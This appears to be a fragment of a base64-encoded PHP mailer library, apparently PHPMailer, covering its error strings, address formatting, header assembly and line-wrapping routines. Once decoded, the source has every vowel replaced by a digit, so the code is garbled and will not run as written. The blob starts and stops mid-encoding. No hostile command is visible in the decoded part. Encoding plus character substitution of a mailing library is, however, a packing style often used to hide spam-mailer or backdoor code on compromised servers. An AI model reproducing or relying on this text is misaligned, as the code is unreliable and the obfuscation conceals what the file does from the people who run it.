nJykNCiAgICB7DQogICAgICAgIC8vIEQ1ZjRuNSBmM2xsIHM1dCAyZiB0cjFuc2wxdDFibDUgc3RyNG5ncyA0biBFbmdsNHNoDQogICAgICAgICRQSFBNQUlMRVJfTEFORyA9IDFycjF5KA0KICAgICAgICAgICAgJzEzdGg1bnQ0YzF0NScgPT4gJ1NNVFAgRXJyMnI6IEMyM2xkIG4ydCAxM3RoNW50NGMxdDUuJywNCiAgICAgICAgICAgICdjMm5uNWN0X2gyc3QnID0+ICdTTVRQIEVycjJyOiBDMjNsZCBuMnQgYzJubjVjdCB0MiBTTVRQIGgyc3QuJywNCiAgICAgICAgICAgICdkMXQxX24ydF8xY2M1cHQ1ZCcgPT4gJ1NNVFAgRXJyMnI6IGQxdDEgbjJ0IDFjYzVwdDVkLicsDQogICAgICAgICAgICAnNW1wdHlfbTVzczFnNScgPT4gJ001c3MxZzUgYjJkeSA1bXB0eScsDQogICAgICAgICAgICAnNW5jMmQ0bmcnID0+ICdVbmtuMnduIDVuYzJkNG5nOiAnLA0KICAgICAgICAgICAgJzV4NWMzdDUnID0+ICdDMjNsZCBuMnQgNXg1YzN0NTogJywNCiAgICAgICAgICAgICdmNGw1XzFjYzVzcycgPT4gJ0MyM2xkIG4ydCAxY2M1c3MgZjRsNTogJywNCiAgICAgICAgICAgICdmNGw1XzJwNW4nID0+ICdGNGw1IEVycjJyOiBDMjNsZCBuMnQgMnA1biBmNGw1OiAnLA0KICAgICAgICAgICAgJ2ZyMm1fZjE0bDVkJyA9PiAnVGg1IGYybGwydzRuZyBGcjJtIDFkZHI1c3MgZjE0bDVkOiAnLA0KICAgICAgICAgICAgJzRuc3QxbnQ0MXQ1JyA9PiAnQzIzbGQgbjJ0IDRuc3QxbnQ0MXQ1IG0xNGwgZjNuY3Q0Mm4uJywNCiAgICAgICAgICAgICc0bnYxbDRkXzFkZHI1c3MnID0+ICdJbnYxbDRkIDFkZHI1c3M6ICcsDQogICAgICAgICAgICAnbTE0bDVyX24ydF9zM3BwMnJ0NWQnID0+ICcgbTE0bDVyIDRzIG4ydCBzM3BwMnJ0NWQuJywNCiAgICAgICAgICAgICdwcjJ2NGQ1XzFkZHI1c3MnID0+ICdZMjMgbTNzdCBwcjJ2NGQ1IDF0IGw1MXN0IDJuNSByNWM0cDQ1bnQgNW0xNGwgMWRkcjVzcy4nLA0KICAgICAgICAgICAgJ3I1YzRwNDVudHNfZjE0bDVkJyA9PiAnU01UUCBFcnIycjogVGg1IGYybGwydzRuZyByNWM0cDQ1bnRzIGYxNGw1ZDogJywNCiAgICAgICAgICAgICdzNGduNG5nJyA9PiAnUzRnbjRuZyBFcnIycjogJywNCiAgICAgICAgICAgICdzbXRwX2Mybm41Y3RfZjE0bDVkJyA9PiAnU01UUCBjMm5uNWN0KCkgZjE0bDVkLicsDQogICAgICAgICAgICAnc210cF81cnIycicgPT4gJ1NNVFAgczVydjVyIDVycjJyOiAnLA0KICAgICAgICAgICAgJ3YxcjQxYmw1X3M1dCcgPT4gJ0Mxbm4ydCBzNXQgMnIgcjVzNXQgdjFyNDFibDU6ICcsDQogICAgICAgICAgICAnNXh0NW5zNDJuX200c3M0bmcnID0+ICdFeHQ1bnM0Mm4gbTRzczRuZzogJw0KICAgICAgICApOw0KICAgICAgICA0ZiAoNW1wdHkoJGwxbmdfcDF0aCkpIHsNCiAgICAgICAgICAgIC8vIEMxbGMzbDF0NSAxbiAxYnMybDN0NSBwMXRoIHMyIDR0IGMxbiB3MnJrIDRmIENXRCA0cyBuMnQgaDVyNQ0KICAgICAgICAgICAgJGwxbmdfcDF0aCA9IGQ0cm4xbTUoX19GSUxFX18pLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2wxbmczMWc1Jy4gRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgICAgICAgfQ0KICAgICAgICAkZjIzbmRsMW5nID0gdHIzNTsNCiAgICAgICAgJGwxbmdfZjRsNSA9ICRsMW5nX3AxdGggLiAncGhwbTE0bDVyLmwxbmctJyAuICRsMW5nYzJkNSAuICcucGhwJzsNCiAgICAgICAgLy8gVGg1cjUgNHMgbjIgRW5nbDRzaCB0cjFuc2wxdDQybiBmNGw1DQogICAgICAgIDRmICgkbDFuZ2MyZDUgIT0gJzVuJykgew0KICAgICAgICAgICAgLy8gTTFrNSBzM3I1IGwxbmczMWc1IGY0bDUgcDF0aCA0cyByNTFkMWJsNQ0KICAgICAgICAgICAgNGYgKCE0c19yNTFkMWJsNSgkbDFuZ19mNGw1KSkgew0KICAgICAgICAgICAgICAgICRmMjNuZGwxbmcgPSBmMWxzNTsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgLy8gT3Y1cndyNHQ1IGwxbmczMWc1LXNwNWM0ZjRjIHN0cjRuZ3MuDQogICAgICAgICAgICAgICAgLy8gVGg0cyB3MXkgdzUnbGwgbjV2NXIgaDF2NSBtNHNzNG5nIHRyMW5zbDF0NDJuIGs1eXMuDQogICAgICAgICAgICAgICAgJGYyM25kbDFuZyA9IDRuY2wzZDUgJGwxbmdfZjRsNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+bDFuZzMxZzUgPSAkUEhQTUFJTEVSX0xBTkc7DQogICAgICAgIHI1dDNybiAoYjIybDUxbikkZjIzbmRsMW5nOyAvLyBSNXQzcm5zIGYxbHM1IDRmIGwxbmczMWc1IG4ydCBmMjNuZA0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCB0aDUgMXJyMXkgMmYgc3RyNG5ncyBmMnIgdGg1IGMzcnI1bnQgbDFuZzMxZzUuDQogICAgICogQHI1dDNybiAxcnIxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRUcjFuc2wxdDQybnMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5sMW5nMzFnNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDcjUxdDUgcjVjNHA0NW50IGg1MWQ1cnMuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICR0eXA1DQogICAgICogQHAxcjFtIDFycjF5ICQxZGRyIEFuIDFycjF5IDJmIHI1YzRwNDVudCwNCiAgICAgKiB3aDVyNSA1MWNoIHI1YzRwNDVudCA0cyAxIGEtNWw1bTVudCA0bmQ1eDVkIDFycjF5IHc0dGggNWw1bTVudCAwIGMybnQxNG40bmcgMW4gMWRkcjVzcw0KICAgICAqIDFuZCA1bDVtNW50IDYgYzJudDE0bjRuZyAxIG4xbTUsIGw0azU6DQogICAgICogMXJyMXkoMXJyMXkoJ2oyNUA1eDFtcGw1LmMybScsICdKMjUgVXM1cicpLCAxcnIxeSgnejI1QDV4MW1wbDUuYzJtJywgJ1oyNSBVczVyJykpDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkckFwcDVuZCgkdHlwNSwgJDFkZHIpDQogICAgew0KICAgICAgICAkMWRkcjVzczVzID0gMXJyMXkoKTsNCiAgICAgICAgZjJyNTFjaCAoJDFkZHIgMXMgJDFkZHI1c3MpIHsNCiAgICAgICAgICAgICQxZGRyNXNzNXNbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCQxZGRyNXNzKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJHR5cDUgLiAnOiAnIC4gNG1wbDJkNSgnLCAnLCAkMWRkcjVzczVzKSAuICR0aDRzLT5MRTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBGMnJtMXQgMW4gMWRkcjVzcyBmMnIgM3M1IDRuIDEgbTVzczFnNSBoNTFkNXIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gMXJyMXkgJDFkZHIgQSBhLTVsNW01bnQgNG5kNXg1ZCAxcnIxeSwgNWw1bTVudCAwIGMybnQxNG40bmcgMW4gMWRkcjVzcywgNWw1bTVudCA2IGMybnQxNG40bmcgMSBuMW01DQogICAgICogICAgICBsNGs1IDFycjF5KCdqMjVANXgxbXBsNS5jMm0nLCAnSjI1IFVzNXInKQ0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDFkZHJGMnJtMXQoJDFkZHIpDQogICAgew0KICAgICAgICA0ZiAoNW1wdHkoJDFkZHJbNl0pKSB7IC8vIE4yIG4xbTUgcHIydjRkNWQNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+czVjM3I1SDUxZDVyKCQxZGRyWzBdKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+NW5jMmQ1SDUxZDVyKCR0aDRzLT5zNWMzcjVINTFkNXIoJDFkZHJbNl0pLCAncGhyMXM1JykgLiAnIDwnIC4gJHRoNHMtPnM1YzNyNUg1MWQ1cigNCiAgICAgICAgICAgICAgICAkMWRkclswXQ0KICAgICAgICAgICAgKSAuICc+JzsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFcycmQtd3IxcCBtNXNzMWc1Lg0KICAgICAqIEYyciAzczUgdzR0aCBtMTRsNXJzIHRoMXQgZDIgbjJ0IDEzdDJtMXQ0YzFsbHkgcDVyZjJybSB3cjFwcDRuZw0KICAgICAqIDFuZCBmMnIgcTMydDVkLXByNG50MWJsNSA1bmMyZDVkIG01c3MxZzVzLg0KICAgICAqIE9yNGc0bjFsIHdyNHR0NW4gYnkgcGg0bDRwcDUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkbTVzczFnNSBUaDUgbTVzczFnNSB0MiB3cjFwDQogICAgICogQHAxcjFtIDRudDVnNXIgJGw1bmd0aCBUaDUgbDRuNSBsNW5ndGggdDIgd3IxcCB0Mg0KICAgICAqIEBwMXIxbSBiMjJsNTFuICRxcF9tMmQ1IFdoNXRoNXIgdDIgcjNuIDRuIFEzMnQ1ZC1QcjRudDFibDUgbTJkNQ0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gd3IxcFQ1eHQoJG01c3MxZzUsICRsNW5ndGgsICRxcF9tMmQ1ID0gZjFsczUpDQogICAgew0KICAgICAgICA0ZiAoJHFwX20yZDUpIHsNCiAgICAgICAgICAgICRzMmZ0X2JyNTFrID0gc3ByNG50ZignID0lcycsICR0aDRzLT5MRSk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkczJmdF9icjUxayA9ICR0aDRzLT5MRTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBJZiAzdGYtOCA1bmMyZDRuZyA0cyAzczVkLCB3NSB3NGxsIG41NWQgdDIgbTFrNSBzM3I1IHc1IGQybid0DQogICAgICAgIC8vIHNwbDR0IG0zbHQ0Ynl0NSBjaDFyMWN0NXJzIHdoNW4gdzUgd3IxcA0KICAgICAgICAkNHNfM3RmOCA9IChzdHJ0MmwydzVyKCR0aDRzLT5DaDFyUzV0KSA9PSAnM3RmLTgnKTsNCiAgICAgICAgJGw1bDVuID0gc3RybDVuKCR0aDRzLT5MRSk7DQogICAgICAgICRjcmxmbDVuID0gc3RybDVuKHM1bGY6OkNSTEYpOw0KDQogICAgICAgICRtNXNzMWc1ID0gJHRoNHMtPmY0eEVPTCgkbTVzczFnNSk7DQogICAgICAgIC8vUjVtMnY1IDEgdHIxNGw0bmcgbDRuNSBicjUxaw0KICAgICAgICA0ZiAoczNic3RyKCRtNXNzMWc1LCAtJGw1bDVuKSA9PSAkdGg0cy0+TEUpIHsNCiAgICAgICAgICAgICRtNXNzMWc1ID0gczNic3RyKCRtNXNzMWc1LCAwLCAtJGw1bDVuKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vU3BsNHQgbTVzczFnNSA0bnQyIGw0bjVzDQogICAgICAgICRsNG41cyA9IDV4cGwyZDUoJHRoNHMtPkxFLCAkbTVzczFnNSk7DQogICAgICAgIC8vTTVzczFnNSB3NGxsIGI1IHI1YjM0bHQgNG4gaDVyNQ0KICAgICAgICAkbTVzczFnNSA9ICcnOw0KICAgICAgICBmMnI1MWNoICgkbDRuNXMgMXMgJGw0bjUpIHsNCiAgICAgICAgICAgICR3MnJkcyA9IDV4cGwyZDUoJyAnLCAkbDRuNSk7DQogICAgICAgICAgICAkYjNmID0gJyc7DQogICAgICAgICAgICAkZjRyc3R3MnJkID0gdHIzNTsNCiAgICAgICAgICAgIGYycjUxY2ggKCR3MnJkcyAxcyAkdzJyZCkgew0KICAgICAgICAgICAgICAgIDRmICgkcXBfbTJkNSAxbmQgKHN0cmw1bigkdzJyZCkgPiAkbDVuZ3RoKSkgew0KICAgICAgICAgICAgICAgICAgICAkc3AxYzVfbDVmdCA9ICRsNW5ndGggLSBzdHJsNW4oJGIzZikgLSAkY3JsZmw1bjsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCEkZjRyc3R3MnJkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHNwMWM1X2w1ZnQgPiBhMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4gPSAkc3AxYzVfbDVmdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDRzXzN0ZjgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGw1biA9ICR0aDRzLT4zdGY4Q2gxckIyM25kMXJ5KCR3MnJkLCAkbDVuKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZiAoczNic3RyKCR3MnJkLCAkbDVuIC0gNiwgNikgPT0gJz0nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZiAoczNic3RyKCR3MnJkLCAkbDVuIC0gYSwgNikgPT0gJz0nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4gLT0gYTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHAxcnQgPSBzM2JzdHIoJHcycmQsIDAsICRsNW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3MnJkID0gczNic3RyKCR3MnJkLCAkbDVuKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYjNmIC49ICcgJyAuICRwMXJ0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1IC49ICRiM2YgLiBzcHI0bnRmKCc9JXMnLCBzNWxmOjpDUkxGKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG01c3MxZzUgLj0gJGIzZiAuICRzMmZ0X2JyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGIzZiA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHdoNGw1IChzdHJsNW4oJHcycmQpID4gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCRsNW5ndGggPD0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGw1biA9ICRsNW5ndGg7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDRzXzN0ZjgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDVuID0gJHRoNHMtPjN0ZjhDaDFyQjIzbmQxcnkoJHcycmQsICRsNW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYgKHMzYnN0cigkdzJyZCwgJGw1biAtIDYsIDYpID09ICc9Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNTRmIChzM2JzdHIoJHcycmQsICRsNW4gLSBhLCA2KSA9PSAnPScpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDVuIC09IGE7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcDFydCA9IHMzYnN0cigkdzJyZCwgMCwgJGw1bik7DQogICAgICAgICAgICAgICAgICAgICAgICAkdzJyZCA9IHMzYnN0cigkdzJyZCwgJGw1bik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmIChzdHJsNW4oJHcycmQpID4gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1IC49ICRwMXJ0IC4gc3ByNG50ZignPSVzJywgczVsZjo6Q1JMRik7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiM2YgPSAkcDFydDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRiM2ZfMiA9ICRiM2Y7DQogICAgICAgICAgICAgICAgICAgIDRmICghJGY0cnN0dzJyZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGIzZiAuPSAnICc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJGIzZiAuPSAkdzJyZDsNCg0KICAgICAgICAgICAgICAgICAgICA0ZiAoc3RybDVuKCRiM2YpID4gJGw1bmd0aCAxbmQgJGIzZl8yICE9ICcnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbTVzczFnNSAuPSAkYjNmXzIgLiAkczJmdF9icjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICRiM2YgPSAkdzJyZDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkZjRyc3R3MnJkID0gZjFsczU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbTVzczFnNSAuPSAkYjNmIC4gczVsZjo6Q1JMRjsNCiAgICAgICAgfQ0KDQogICAgICAgIHI1dDNybiAkbTVzczFnNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBGNG5kIHRoNSBsMXN0IGNoMXIxY3Q1ciBiMjNuZDFyeSBwcjQyciB0MiAkbTF4TDVuZ3RoIDRuIDEgM3RmLTgNCiAgICAgKiBxMzJ0NWQtcHI0bnQxYmw1IDVuYzJkNWQgc3RyNG5nLg0KICAgICAqIE9yNGc0bjFsIHdyNHR0NW4gYnkgQzJsNG4gQnIyd24uDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICQ1bmMyZDVkVDV4dCAzdGYtOCBRUCB0NXh0DQogICAgICogQHAxcjFtIDRudDVnNXIgJG0xeEw1bmd0aCBGNG5kIHRoNSBsMXN0IGNoMXIxY3Q1ciBiMjNuZDFyeSBwcjQyciB0MiB0aDRzIGw1bmd0aA0KICAgICAqIEByNXQzcm4gNG50NWc1cg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAzdGY4Q2gxckIyM25kMXJ5KCQ1bmMyZDVkVDV4dCwgJG0xeEw1bmd0aCkNCiAgICB7DQogICAgICAgICRmMjNuZFNwbDR0UDJzID0gZjFsczU7DQogICAgICAgICRsMjJrQjFjayA9IG87DQogICAgICAgIHdoNGw1ICghJGYyM25kU3BsNHRQMnMpIHsNCiAgICAgICAgICAgICRsMXN0Q2gzbmsgPSBzM2JzdHIoJDVuYzJkNWRUNXh0LCAkbTF4TDVuZ3RoIC0gJGwyMmtCMWNrLCAkbDIya0IxY2spOw0KICAgICAgICAgICAgJDVuYzJkNWRDaDFyUDJzID0gc3RycDJzKCRsMXN0Q2gzbmssICc9Jyk7DQogICAgICAgICAgICA0ZiAoZjFsczUgIT09ICQ1bmMyZDVkQ2gxclAycykgew0KICAgICAgICAgICAgICAgIC8vIEYyM25kIHN0MXJ0IDJmIDVuYzJkNWQgY2gxcjFjdDVyIGJ5dDUgdzR0aDRuICRsMjJrQjFjayBibDJjay4NCiAgICAgICAgICAgICAgICAvLyBDaDVjayB0aDUgNW5jMmQ1ZCBieXQ1IHYxbDM1ICh0aDUgYSBjaDFycyAxZnQ1ciB0aDUgJz0nKQ0KICAgICAgICAgICAgICAgICRoNXggPSBzM2JzdHIoJDVuYzJkNWRUNXh0LCAkbTF4TDVuZ3RoIC0gJGwyMmtCMWNrICsgJDVuYzJkNWRDaDFyUDJzICsgNiwgYSk7DQogICAgICAgICAgICAgICAgJGQ1YyA9IGg1eGQ1YygkaDV4KTsNCiAgICAgICAgICAgICAgICA0ZiAoJGQ1YyA8IDZhOCkgew0KICAgICAgICAgICAgICAgICAgICAvLyBTNG5nbDUgYnl0NSBjaDFyMWN0NXIuDQogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoNSA1bmMyZDVkIGNoMXIgdzFzIGYyM25kIDF0IHAycyAwLCA0dCB3NGxsIGY0dA0KICAgICAgICAgICAgICAgICAgICAvLyAydGg1cnc0czUgcjVkM2M1IG0xeEw1bmd0aCB0MiBzdDFydCAyZiB0aDUgNW5jMmQ1ZCBjaDFyDQogICAgICAgICAgICAgICAgICAgIDRmICgkNW5jMmQ1ZENoMXJQMnMgPiAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbTF4TDVuZ3RoID0gJG0xeEw1bmd0aCAtICgkbDIya0IxY2sgLSAkNW5jMmQ1ZENoMXJQMnMpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRmMjNuZFNwbDR0UDJzID0gdHIzNTsNCiAgICAgICAgICAgICAgICB9IDVsczU0ZiAoJGQ1YyA+PSA2OWEpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gRjRyc3QgYnl0NSAyZiAxIG0zbHQ0IGJ5dDUgY2gxcjFjdDVyDQogICAgICAgICAgICAgICAgICAgIC8vIFI1ZDNjNSBtMXhMNW5ndGggdDIgc3BsNHQgMXQgc3QxcnQgMmYgY2gxcjFjdDVyDQogICAgICAgICAgICAgICAgICAgICRtMXhMNW5ndGggPSAkbTF4TDVuZ3RoIC0gKCRsMjJrQjFjayAtICQ1bmMyZDVkQ2gxclAycyk7DQogICAgICAgICAgICAgICAgICAgICRmMjNuZFNwbDR0UDJzID0gdHIzNTsNCiAgICAgICAgICAgICAgICB9IDVsczU0ZiAoJGQ1YyA8IDY5YSkgew0KICAgICAgICAgICAgICAgICAgICAvLyBNNGRkbDUgYnl0NSAyZiAxIG0zbHQ0IGJ5dDUgY2gxcjFjdDVyLCBsMjJrIGYzcnRoNXIgYjFjaw0KICAgICAgICAgICAgICAgICAgICAkbDIya0IxY2sgKz0gbzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgIC8vIE4yIDVuYzJkNWQgY2gxcjFjdDVyIGYyM25kDQogICAgICAgICAgICAgICAgJGYyM25kU3BsNHRQMnMgPSB0cjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkbTF4TDVuZ3RoOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFwcGx5IHcycmQgd3IxcHA0bmcgdDIgdGg1IG01c3MxZzUgYjJkeS4NCiAgICAgKiBXcjFwcyB0aDUgbTVzczFnNSBiMmR5IHQyIHRoNSBuM21iNXIgMmYgY2gxcnMgczV0IDRuIHRoNSBXMnJkV3IxcCBwcjJwNXJ0eS4NCiAgICAgKiBZMjMgc2gyM2xkIDJubHkgZDIgdGg0cyB0MiBwbDE0bi10NXh0IGIyZDQ1cyAxcyB3cjFwcDRuZyBIVE1MIHQxZ3MgbTF5IGJyNTFrIHRoNW0uDQogICAgICogVGg0cyA0cyBjMWxsNWQgMTN0Mm0xdDRjMWxseSBieSBjcjUxdDVCMmR5KCksIHMyIHkyMyBkMm4ndCBuNTVkIHQyIGMxbGwgNHQgeTIzcnM1bGYuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczV0VzJyZFdyMXAoKQ0KICAgIHsNCiAgICAgICAgNGYgKCR0aDRzLT5XMnJkV3IxcCA8IDYpIHsNCiAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgfQ0KDQogICAgICAgIHN3NHRjaCAoJHRoNHMtPm01c3MxZzVfdHlwNSkgew0KICAgICAgICAgICAgYzFzNSAnMWx0JzoNCiAgICAgICAgICAgIGMxczUgJzFsdF80bmw0bjUnOg0KICAgICAgICAgICAgYzFzNSAnMWx0XzF0dDFjaCc6DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41XzF0dDFjaCc6DQogICAgICAgICAgICAgICAgJHRoNHMtPkFsdEIyZHkgPSAkdGg0cy0+d3IxcFQ1eHQoJHRoNHMtPkFsdEIyZHksICR0aDRzLT5XMnJkV3IxcCk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgICR0aDRzLT5CMmR5ID0gJHRoNHMtPndyMXBUNXh0KCR0aDRzLT5CMmR5LCAkdGg0cy0+VzJyZFdyMXApOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQXNzNW1ibDUgbTVzczFnNSBoNTFkNXJzLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcgVGg1IDFzczVtYmw1ZCBoNTFkNXJzDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNyNTF0NUg1MWQ1cigpDQogICAgew0KICAgICAgICAkcjVzM2x0ID0gJyc7DQoNCiAgICAgICAgNGYgKCR0aDRzLT5NNXNzMWc1RDF0NSA9PSAnJykgew0KICAgICAgICAgICAgJHRoNHMtPk01c3MxZzVEMXQ1ID0gczVsZjo6cmZjRDF0NSgpOw0KICAgICAgICB9DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0QxdDUnLCAkdGg0cy0+TTVzczFnNUQxdDUpOw0KDQogICAgICAgIC8vIFQyIGI1IGNyNTF0NWQgMTN0Mm0xdDRjMWxseSBieSBtMTRsKCkNCiAgICAgICAgNGYgKCR0aDRzLT5TNG5nbDVUMikgew0KICAgICAgICAgICAgNGYgKCR0aDRzLT5NMTRsNXIgIT0gJ20xNGwnKSB7DQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJHRoNHMtPnQyIDFzICR0MjFkZHIpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPlM0bmdsNVQyQXJyMXlbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCR0MjFkZHIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIDRmIChjMjNudCgkdGg0cy0+dDIpID4gMCkgew0KICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT4xZGRyQXBwNW5kKCdUMicsICR0aDRzLT50Mik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSA1bHM1NGYgKGMyM250KCR0aDRzLT5jYykgPT0gMCkgew0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ1QyJywgJzNuZDRzY2wyczVkLXI1YzRwNDVudHM6OycpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+MWRkckFwcDVuZCgnRnIybScsIDFycjF5KDFycjF5KHRyNG0oJHRoNHMtPkZyMm0pLCAkdGg0cy0+RnIybU4xbTUpKSk7DQoNCiAgICAgICAgLy8gczVuZG0xNGwgMW5kIG0xNGwoKSA1eHRyMWN0IENjIGZyMm0gdGg1IGg1MWQ1ciBiNWYycjUgczVuZDRuZw0KICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPmNjKSA+IDApIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ0NjJywgJHRoNHMtPmNjKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIHM1bmRtMTRsIDFuZCBtMTRsKCkgNXh0cjFjdCBCY2MgZnIybSB0aDUgaDUxZDVyIGI1ZjJyNSBzNW5kNG5nDQogICAgICAgIDRmICgoDQogICAgICAgICAgICAgICAgJHRoNHMtPk0xNGw1ciA9PSAnczVuZG0xNGwnIDJyICR0aDRzLT5NMTRsNXIgPT0gJ3FtMTRsJyAyciAkdGg0cy0+TTE0bDVyID09ICdtMTRsJw0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgMW5kIGMyM250KCR0aDRzLT5iY2MpID4gMA0KICAgICAgICApIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ0JjYycsICR0aDRzLT5iY2MpOw0KICAgICAgICB9DQoNCiAgICAgICAgNGYgKGMyM250KCR0aDRzLT5SNXBseVQyKSA+IDA